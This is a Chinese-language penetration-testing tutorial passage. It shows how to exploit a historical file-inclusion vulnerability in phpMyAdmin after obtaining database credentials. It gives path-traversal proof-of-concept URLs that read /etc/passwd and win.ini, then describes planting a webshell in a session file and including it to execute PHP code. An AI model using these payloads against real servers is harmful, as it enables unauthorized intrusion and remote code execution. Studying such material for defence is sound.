外网打点
内容简介
本小节主要讲解了在拿到存在有漏洞的 phpMyAdmin 权限后,如何利用历史上的文件包含漏洞来进行 getshell 打点操作,当然关于更详细的文件包含更多相关的姿势和课程可以来报名我们的 Web 课程来深入学习一下。
登录数据库
因为拿到了数据库密码,目标网站的 3306 数据库端口虽然没有对外开放,但是网站目录下看到了有 phpMyAdmin 目录,这个就是通过 Web 端管理连接 MySQL 数据库用的,我们直接输入 MySQL 的相关认证信息来直接连接他:
漏洞验证(POC)
通过谷歌搜索一下,发现这个目标版本的 phpMyAdmin 系统存在文件包含漏洞信息,我们尝试来直接利用吧:
根据网上的 POC,我们先来简单验证一下漏洞是否存在:
# Linux
http://xxxxxx/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
http://xxxxxx/index.php?target=db_sql.php%253f/../../../../../../../../etc/hosts
# Windows
http://xxxxxx/index.php?target=db_sql.php%253f/../../../../../../../../windows/win.ini
成功通过文件包含读取到了目标网站服务器下的 /etc/passwd
文件内容:
漏洞利用(EXP)
尝试来查询构造出一个 PHP 经典的 webshell 的 SQL 查询语句看看:
实际上我们的这条查询语句是存入了服务器的 Session 会话里面(Cookie 认证的凭据文件)
通过浏览器审查元素或者抓包,可以看到我们的 Cookie 和 Session 相关的信息:
也就是说,我们当前的 Session 的文件为:
可以看到我们写入的木马确实在这个文件里面:
所以我们来尝试直接包含这个带有木马的文件并传入自定义函数查询:
http://<目标网站>/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_6r41jv90kbjp7oqvt5jbd6eeme&1=phpinfo();
包含成功,且通过木马的 1 参数成功执行了我们的 phpinfo()
的代码:
至此 EXP 利用成功,接下来就准备写入持久化的 shell 吧。